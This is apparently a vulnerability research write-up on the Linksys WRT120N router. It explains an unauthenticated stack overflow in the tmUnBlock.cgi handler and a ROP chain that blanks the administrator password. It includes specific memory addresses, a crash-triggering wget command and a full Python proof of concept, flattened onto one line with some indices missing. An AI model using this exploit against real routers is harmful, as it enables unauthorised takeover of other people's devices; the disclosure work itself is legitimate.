As we’ve seen previously, the WRT120N runs a Real Time Operating System. For security, the RTOS’s administrative web interface employs HTTP Basic authentication:
Most of the web pages require authentication, but there are a handful of URLs that are explicitly allowed to bypass authentication:
Any request whose URL starts with one of these strings will be allowed without authentication, so they’re a good place to start hunting for bugs.
Some of these pages don’t actually exist; others exist but their request handlers don’t do anything (NULL subroutines). However, the /cgi/tmUnBlock.cgi page does have a handler that processes some user data:
The interesting bit of code to focus on is this:
fprintf(request->socket, "Location %s\n\n", GetWebParam(cgi_handle, "TM_Block_URL"));
Although it at first appears benign, cgi_tmUnBlock‘s processing of the TM_Block_URL POST parameter is exploitable, thanks to a flaw in the fprintf implementation:
Yes, fprintf blindly vsprintf‘s the supplied format string and arguments to a local stack buffer of only 256 bytes.
This means that the user-supplied TM_Block_URL POST parameter will trigger a stack overflow in fprintf if it is larger than 246 (sizeof(buf) – strlen(“Location: “)) bytes:
$ wget --post-data="period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL=$(perl -e 'print "A"x254')" http://192.168.1.1/cgi-bin/tmUnBlock.cgi
A simple exploit would be to overwrite some critical piece of data in memory, say, the administrative password which is stored in memory at address 0x81544AF0:
The administrative password is treated as a standard NULL terminated string, so if we can write even a single NULL byte at the beginning of this address, we’ll be able to log in to the router with a blank password. We just have to make sure the system continues running normally after exploitation.
Looking at fprintf‘s epilogue, both the $ra and $s0 registers are restored from the stack, meaning that we can control both of those registers when we overflow the stack:
There’s also this nifty piece of code at address 0x8031F634 that stores four NULL bytes from the $zero register to the address contained in the $s0 register:
If we use the overflow to force fprintf to return to 0x8031F634 and overwrite $s0 with the address of the administrative password (0x81544AF0), then this code will:
- Zero out the admin password
- Return to the return address stored on the stack (we control the stack)
- Add 16 to the stack pointer
This last point is actually a problem. We need the system to continue normally and not crash, but if we simply return to the cgi_tmUnBlock function like fprintf was supposed to, the stack pointer will be off by 16 bytes.
Finding a useful MIPS ROP gadget that decrements the stack pointer back 16 bytes can be difficult, so we’ll take a different approach.
Looking at the address where fprintf should have returned to cgi_tmUnblock, we see that all it is doing is restoring $ra, $s1 and $s0 from the stack, then returning and adding 0x60 to the stack pointer:
We’ve already added 0x10 to the stack pointer, so if we can find a second ROP gadget that restores the appropriate saved values for $ra, $s1 and $s0 from the stack and adds 0x50 to the stack pointer, then that ROP gadget can be used to effectively replace cgi_tmUnblock‘s function epilogue.
There aren’t any obvious gadgets that do this directly, but there is a nice one at 0x803471B8 that is close:
This gadget only adds 0x10 to the stack pointer, but that’s not a problem; we’ll set up some additional stack frames that will force this ROP gadget return to itself five times. On the fifth iteration, the original values of $ra, $s1 and $s0 that were passed to cgi_tmUnblock will be pulled off the stack, and our ROP gadget will return to cgi_tmUnblock‘s caller:
With the register contents and stack having been properly restored, the system should continue running along as if nothing ever happened. Here’s some PoC code (download):
import sys import urllib2 try: target = sys.argv except IndexError: print "Usage: %s <target ip>" % sys.argv sys.exit(1) url = target + '/cgi-bin/tmUnblock.cgi' if '://' not in url: url = 'http://' + url post_data = "period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL=" post_data += "B" * 246 # Filler post_data += "\x81\x54\x4A\xF0" # $s0, address of admin password in memory post_data += "\x80\x31\xF6\x34" # $ra post_data += "C" * 0x28 # Stack filler post_data += "D" * 4 # ROP 1 $s0, don't care post_data += "\x80\x34\x71\xB8" # ROP 1 $ra (address of ROP 2) post_data += "E" * 8 # Stack filler for i in range(0, 4): post_data += "F" * 4 # ROP 2 $s0, don't care post_data += "G" * 4 # ROP 2 $s1, don't care post_data += "\x80\x34\x71\xB8" # ROP 2 $ra (address of itself) post_data += "H" * (4-(3*(i/3))) # Stack filler; needs to be 4 bytes except for the # last stack frame where it needs to be 1 byte (to # account for the trailing "\n\n" and terminating # NULL byte) try: req = urllib2.Request(url, post_data) res = urllib2.urlopen(req) except urllib2.HTTPError as e: if e.code == 500: print "OK" else: print "Received unexpected server response:", str(e) except KeyboardInterrupt: pass
Arbitrary code execution is also possible, but that’s another post for another day.